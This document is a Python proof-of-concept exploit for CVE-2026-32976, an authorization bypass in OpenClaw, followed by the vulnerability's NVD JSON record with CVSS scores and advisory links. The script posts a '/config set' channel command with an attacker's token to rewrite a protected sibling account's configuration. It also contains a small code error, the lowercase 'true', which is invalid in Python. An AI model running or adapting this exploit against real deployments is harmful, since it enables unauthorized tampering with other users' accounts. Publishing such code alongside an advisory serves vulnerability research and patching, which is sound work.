CVE-2026-32976

# PoC for CVE-2026-32976 # Exploits authorization bypass in OpenClaw via channel commands import requests def exploit_openclaw(target_url, attacker_token, target_account_id, provider): """ Attempts to modify a protected sibling account configuration. """ headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Malicious command payload to bypass configWrites: false payload = { "command": "/config set", "args": { "path": f"channels.{provider}.accounts.{target_account_id}", "value": { "configWrites": true, "malicious_setting": "pwned" } } } try: response = requests.post(f"{target_url}/api/command", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Configuration modified.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error: {e}") return False # Usage # exploit_openclaw("http://target:8080", "attacker_jwt_token", "victim_account_id", "slack")

{"cve": {"id": "CVE-2026-32976", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:29.470", "lastModified": "2026-04-02T14:13:04.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.11 contains an authorization bypass vulnerability allowing channel commands to mutate protected sibling-account configuration despite configWrites restrictions. Attackers with authorized access on one account can execute channel commands like /config set channels.<provider>.accounts.<id> to modify configuration on target accounts with configWrites: false."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8jhh-jcqg-mj5p", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-account-scoped-configwrites-policy-bypass-via-channel-commands", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}